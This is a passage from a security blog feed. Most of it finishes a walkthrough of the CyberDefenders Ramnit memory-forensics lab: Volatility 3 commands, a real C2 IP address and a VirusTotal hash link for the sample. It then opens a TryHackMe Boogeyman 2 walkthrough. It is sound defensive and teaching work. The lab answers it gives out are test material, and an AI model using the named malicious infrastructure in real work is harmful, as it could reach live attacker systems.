&lt;code&gt;windows.cmdline&lt;/code&gt; plugin this time which allows us to view not only the process &lt;em&gt;command line arguments&lt;/em&gt; but also the &lt;em&gt;executable file path&lt;/em&gt; of the process.&lt;/p&gt;&#xA;&lt;p&gt;To make it easier, let&amp;rsquo;s use &lt;em&gt;grep&lt;/em&gt; to show us only the results with the &lt;em&gt;process ID&lt;/em&gt; (&lt;em&gt;PID)&lt;/em&gt; of &lt;em&gt;ChromeSetup.exe.&lt;/em&gt; We&amp;rsquo;ll find this information in the &lt;em&gt;pslist&lt;/em&gt; output from &lt;strong&gt;Question 1&lt;/strong&gt; in the far left column.&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f memory.dmp windows.cmdline | grep 4628&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4501px&#34; data-flex-grow=&#34;1875&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/f4ab3cb01ef35646002f1a1562ae54e1_MD5.png&#34; width=&#34;694&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! The executable is in the victim&amp;rsquo;s &lt;em&gt;Downloads&lt;/em&gt; folder. It appears that the victim was searching for the &lt;em&gt;Google Chrome&lt;/em&gt; browser, encountered a malicious link, and inadvertently downloaded and executed the malware on their system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/4951903c7d1f3294656f98a09d1a7500_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3&#34;&gt;Question 3: &#xA;&lt;/h3&gt;&lt;p&gt;Identifying network connections is crucial for understanding the malware&amp;rsquo;s communication strategy. What is the IP address it attempted to connect to?&lt;/p&gt;&#xA;&lt;p&gt;Continuing with the malware analysis, we need to identify any network connections the malware made to find the &lt;em&gt;second stage&lt;/em&gt; or &lt;em&gt;command and control&lt;/em&gt; &lt;em&gt;(C2)&lt;/em&gt; server.&lt;/p&gt;&#xA;&lt;p&gt;For this part, we&amp;rsquo;ll use &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan)&lt;/code&gt; plugin to scan the network artifacts in the image. Using &lt;em&gt;grep&lt;/em&gt; again, we&amp;rsquo;ll filter the results to only show those matching the malicious &lt;em&gt;PID.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f memory.dmp windows.netscan | grep 4628&lt;/p&gt;&#xA;&lt;p&gt;The downside is that you won&amp;rsquo;t see the column names in the output, but you can refer to the screenshot below for reference.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4266px&#34; data-flex-grow=&#34;1777&#34; height=&#34;45&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/8ae5d9b8eb4c443cac81188a70e97874_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility windows.netscan output headers&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4056px&#34; data-flex-grow=&#34;1690&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/5b9683ae601b846254b8badfbac82baf_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/5b9683ae601b846254b8badfbac82baf_MD5_hu_806e1b8c02e8168b.png 800w, https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/5b9683ae601b846254b8badfbac82baf_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we run the command, the table reveals that the malware is communicating with an external &lt;em&gt;IP address&lt;/em&gt; seen in the &lt;em&gt;ForeignAddr&lt;/em&gt; column. This is the &lt;em&gt;IP address&lt;/em&gt; of the &lt;em&gt;command and control (C2)&lt;/em&gt; server that we&amp;rsquo;re looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/1f77620dc1ea24474603ef15a3bdaed3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-to-pinpoint-the-geographical-origin-of-the-attack-which-city-is-associated-with-the-ip-address-the-malware-communicated-with&#34;&gt;Question 4: To pinpoint the geographical origin of the attack, which city is associated with the IP address the malware communicated with?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve discovered the malware infrastructure&amp;rsquo;s &lt;em&gt;IP address&lt;/em&gt;, we&amp;rsquo;ll pivot and gather &lt;strong&gt;&lt;em&gt;geolocation&lt;/em&gt;&lt;/strong&gt; intelligence about it. For a higher degree of confidence, let&amp;rsquo;s check a couple of &lt;strong&gt;&lt;em&gt;geolocation services&lt;/em&gt;&lt;/strong&gt; since the location data results can vary depending on the method the database provider uses to determine the location.&lt;/p&gt;&#xA;&lt;p&gt;Starting with &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;, we can tentatively determine that the &lt;em&gt;IP address&lt;/em&gt; is located in Hong Kong.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/c769405618e694df9f0b116f408f2450_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Geolocation data from VirusTotal&lt;/p&gt;&#xA;&lt;p&gt;Next, we&amp;rsquo;ll check &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;ipinfo.io&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; for added validation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;559px&#34; data-flex-grow=&#34;233&#34; height=&#34;342&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/a213b2ea5dfdf639a7497e71ee133a17_MD5.png&#34; width=&#34;797&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Geolocation data from ipinfo.io&lt;/p&gt;&#xA;&lt;p&gt;Double-confirmed! Although we could continue checking with various &lt;em&gt;geolocation&lt;/em&gt; and &lt;em&gt;threat intelligence&lt;/em&gt; services, we&amp;rsquo;ve already found our answer for the purposes of this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1238px&#34; data-flex-grow=&#34;516&#34; height=&#34;155&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/872a5e605437d1ff2d748b89f865bf4f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-hashes-provide-a-unique-identifier-for-files-aiding-in-detecting-similar-threats-across-machines-what-is-the-sha1-hash-of-the-malwares-executable&#34;&gt;Question 5: Hashes provide a unique identifier for files, aiding in detecting similar threats across machines. What is the SHA1 hash of the malware&amp;rsquo;s executable?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to find the &lt;em&gt;SHA1 hash&lt;/em&gt; of the malware executable so that we can gather more intelligence and perform further analysis to understand its impact.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1422px&#34; data-flex-grow=&#34;592&#34; height=&#34;135&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/25459ed7176edbc353b716678a13ed76_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first step to obtain the &lt;em&gt;file hash&lt;/em&gt; is to extract the executable from the memory dump. For this, we can leverage &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles)&lt;/code&gt; plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump and the &lt;em&gt;PID&lt;/em&gt; of the &lt;em&gt;ChromeSetup.exe&lt;/em&gt; process we found in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f memory.dmp -o &lt;YOUR OUTPUT DIRECTORY&gt; windows.dumpfiles &amp;ndash;pid 4628&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;487px&#34; data-flex-grow=&#34;203&#34; height=&#34;394&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/d9bdc73c31fbd18c38c9f903200560bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;As the process completes, check the &lt;em&gt;terminal&lt;/em&gt; output for the files that are being dumped to confirm that &lt;em&gt;ChromeSetup.exe&lt;/em&gt; was extracted and note the corresponding file name on the right side (&lt;em&gt;file.0xca82b85325a0&amp;hellip; ).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we can list the contents of the output directory to confirm that the extraction was successful. Finally, use the &lt;em&gt;sha1sum&lt;/em&gt; command to calculate hash of the executable:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3047px&#34; data-flex-grow=&#34;1269&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/7dc3230cd49d231be972d3e58fd4b888_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! Now that we have the &lt;em&gt;SHA1 hash,&lt;/em&gt; we can answer &lt;strong&gt;Question 5.&lt;/strong&gt; But, let&amp;rsquo;s take this a step further and jump over to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to check if the sample, identified by the unique hash we extracted, has been previously analyzed:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496&#34;  title=&#34;https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;704px&#34; data-flex-grow=&#34;293&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/bc05e7ec6f6935940baa24c96b0edbd2_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/bc05e7ec6f6935940baa24c96b0edbd2_MD5_hu_19e9a2e4bc8abb21.png 800w, https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/bc05e7ec6f6935940baa24c96b0edbd2_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Submitting the &lt;em&gt;hash&lt;/em&gt; to &lt;em&gt;VirusTotal&lt;/em&gt; confirms that this file is malicious and detected by most scanning engines on the platform_._ Let&amp;rsquo;s continue to the next question and learn more about the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/b2e07a92b94294802e2c09139b46a52e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-understanding-the-malwares-development-timeline-can-offer-insights-into-its-deployment-what-is-the-compilation-utc-timestamp-of-themalware&#34;&gt;Question 6: Understanding the malware&amp;rsquo;s development timeline can offer insights into its deployment. What is the compilation UTC timestamp of the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Since we already have the &lt;em&gt;VirusTotal&lt;/em&gt; report for the malware open, we can use the existing analysis results on the platform to check the &lt;strong&gt;&lt;em&gt;Creation Time&lt;/em&gt;&lt;/strong&gt; value from the &lt;strong&gt;&lt;em&gt;Details&lt;/em&gt;&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;411px&#34; data-flex-grow=&#34;171&#34; height=&#34;700&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/ec21312c2a3b2e1e7f31ebe813e6a384_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/ec21312c2a3b2e1e7f31ebe813e6a384_MD5_hu_4485713d2fab962b.png 800w, https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/ec21312c2a3b2e1e7f31ebe813e6a384_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Report &amp;gt; Details Tab&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1207px&#34; data-flex-grow=&#34;503&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/c7093350781e7b4277699f9710d72288_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-identifying-domains-involved-with-this-malware-helps-in-blocking-future-malicious-communications-and-identifying-current-possible-communications-with-that-domain-in-our-network-can-you-provide-the-domain-related-to-themalware&#34;&gt;Question 7: Identifying domains involved with this malware helps in blocking future malicious communications and identifying current possible communications with that domain in our network. Can you provide the domain related to the malware?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! We&amp;rsquo;ll continue using the &lt;em&gt;VirusTotal&lt;/em&gt; report to identify any &lt;em&gt;domains&lt;/em&gt; that the &lt;em&gt;malware&lt;/em&gt; contacts by navigating to the &lt;strong&gt;&lt;em&gt;Relations&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;Tab&lt;/em&gt;&lt;/strong&gt; and then scroll down to &lt;strong&gt;&lt;em&gt;Contacted Domains&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;898&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/0f64e3f3131441969f6dba7a8253cd17_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/0f64e3f3131441969f6dba7a8253cd17_MD5_hu_fc70ff19bbf434b0.png 800w, https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/0f64e3f3131441969f6dba7a8253cd17_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Between the &lt;em&gt;IP address&lt;/em&gt;, &lt;em&gt;SHA1 hash&lt;/em&gt;, and &lt;em&gt;domain,&lt;/em&gt; we have a comprehensive list of &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;) that we can use to hunt for the malware in the environment and block it. Let&amp;rsquo;s submit the final answer and wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1084px&#34; data-flex-grow=&#34;451&#34; height=&#34;177&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/9900e5e2d3be943a437271ac14466340_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! With the help of &lt;em&gt;Volatility,&lt;/em&gt; we successfully identified the malicious process, hunted for the malware path and file hash, and uncovered the &lt;em&gt;IP addresses&lt;/em&gt; and &lt;em&gt;domains the malware communicates with.&lt;/em&gt; With the objectives completed and a comprehensive list if &lt;em&gt;IOCs&lt;/em&gt; in-hand, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ramnit Lab&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during &lt;em&gt;DFIR&lt;/em&gt; cases and showcased some excellent scenarios for analyzing memory artifacts. Hands-on practice with forensic tools through labs can be extremely beneficial, and every time I try a new challenge with &lt;em&gt;Volatility,&lt;/em&gt; I discover some cool and new uses of the tool that makes it much more efficient the next time I need it. Practice makes perfect!&lt;/p&gt;&#xA;&lt;p&gt;Remember if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don&amp;rsquo;t forget to &lt;strong&gt;&lt;em&gt;give it a clap&lt;/em&gt;&lt;/strong&gt;. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We&amp;rsquo;re in this together. Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility 3:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Hunt Evil Poster:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/hunt-evil/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/command-reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ipinfo.io:&lt;/strong&gt; https://&lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ipinfo&lt;/a&gt;.io/&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — C2 IP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/58.64.204.181/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/58.64.204.181/details&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Malware Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496/details&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Boogeyman 2 Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/</link>
            <pubDate>Sun, 27 Oct 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/64b3c4319224c18ebb00355859fc4121_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Boogeyman 2 Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeboogeyman-2-challenge-walkthrough&#34;&gt;TryHackMe — Boogeyman 2 Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;email--endpoint-forensic-investigation-using-olevba-strings--volatility-3&#34;&gt;Email &amp;amp; Endpoint Forensic Investigation using olevba, strings, &amp;amp; Volatility 3&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;64b3c4319224c18ebb00355859fc4121_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/64b3c4319224c18ebb00355859fc4121_MD5.png&#34; width=&#34;615&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Are you still afraid of the Boogeyman?&lt;/p&gt;&#xA;&lt;p&gt;If not, you’ve stumbled on the right blog and welcome to my weekly walkthrough! This blog is a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 2&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;which&lt;/strong&gt; is the second in a series of capstone challenges for the &lt;em&gt;SOC Level 1&lt;/em&gt; path. This challenge is a multi-part digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) investigation focusing on a fictional threat actor called the &lt;em&gt;Boogeyman.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to catch up on how we got here, check out my walkthrough of &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 1&lt;/strong&gt;&lt;/a&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Boogeyman 1 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we will investigate an email, and an endpoint memory dump collected from a victim compromised by this returning, shadowy threat actor. It is our job as security analysts to determine how the &lt;em&gt;Boogeyman&lt;/em&gt; got in this time. To unmask the &lt;em&gt;Boogeyman&lt;/em&gt;, we’ll utilize a few tools to aid in our investigation including &lt;em&gt;olevba,&lt;/em&gt; part of the &lt;em&gt;oletools&lt;/em&gt; package, and &lt;em&gt;Volatility&lt;/em&gt; for analyzing a memory dump of the compromised workstation.&lt;/p&gt;&#xA;&lt;p&gt;Doesn’t sound so scary, right?&lt;/p&gt;&#xA;&lt;p&gt;Now let’s grab our flashlights and shine a light on the &lt;em&gt;Boogeyman’s&lt;/em&gt; updated tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;After having a severe attack from the Boogeyman, Quick Logistics LLC improved its security defences. However, the Boogeyman returns with new and improved tactics, techniques and procedures.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    